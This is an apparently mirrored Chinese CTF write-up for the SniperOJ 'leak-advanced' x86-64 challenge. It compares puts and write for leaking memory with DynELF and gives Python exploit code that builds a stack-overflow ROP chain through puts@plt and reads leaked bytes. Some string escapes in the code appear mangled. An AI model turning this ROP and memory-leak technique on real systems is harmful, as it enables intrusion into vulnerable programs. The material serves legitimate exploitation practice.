zoukankan      html  css  js  c++  java
  • SniperOJ-leak-advanced-x86-64

     借助DynELF实现无libc的漏洞利用小结

    1.leak-advance与leak的区别在于一个可用函数是write,一个可用函数是puts.write比puts更容易利用,虽然write需要的参数多,但可以找到gadgets成功利用。

    2.puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“x00”字符为止。

       缺点:puts函数输出的数据长度是不受控的,只要我们输出的信息中包含x00截断符,输出就会终止,且会自动将“ ”追加到输出字符串的末尾。

       优点:需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。

    3.puts_exp与write_exp区别就在leak函数的编写,上边推荐的链接里已经详细说明了,我这里就不班门弄斧了,就把这个题目的leak函数贴一下。

    def prepare(address):
      payload = "A" * (0x10 + 8)
      payload += p64(rdi_ret)
      payload += p64(address)
      payload += p64(puts_plt)
      payload += p64(start_addr)
      p.recvuntil('Dancing in shackles, Right?
    ') 
      p.send(payload)
    
    def leak(address):
      data = '' 
      prepare(address)
      up = ""
      while True:
        c = p.recv(1)
        if up == '
    ' and c == "W":
          data = data[:-1]
          data += "x00"
          break
        else:
          data += c
        up = c
      data = data[:4]
      return data
    

      

  • 相关阅读:
    倍增
    「BZOJ 2152」聪聪可可
    「POJ 1741」Tree
    点分治
    高斯消元
    网络流24题之餐巾计划问题
    网络流24题之骑士共存问题
    网络流24题之方格取数问题
    网络流24题之负载平衡问题
    网络流24题之分配问题
  • 原文地址:https://www.cnblogs.com/elvirangel/p/6906873.html
Copyright © 2011-2022 走看看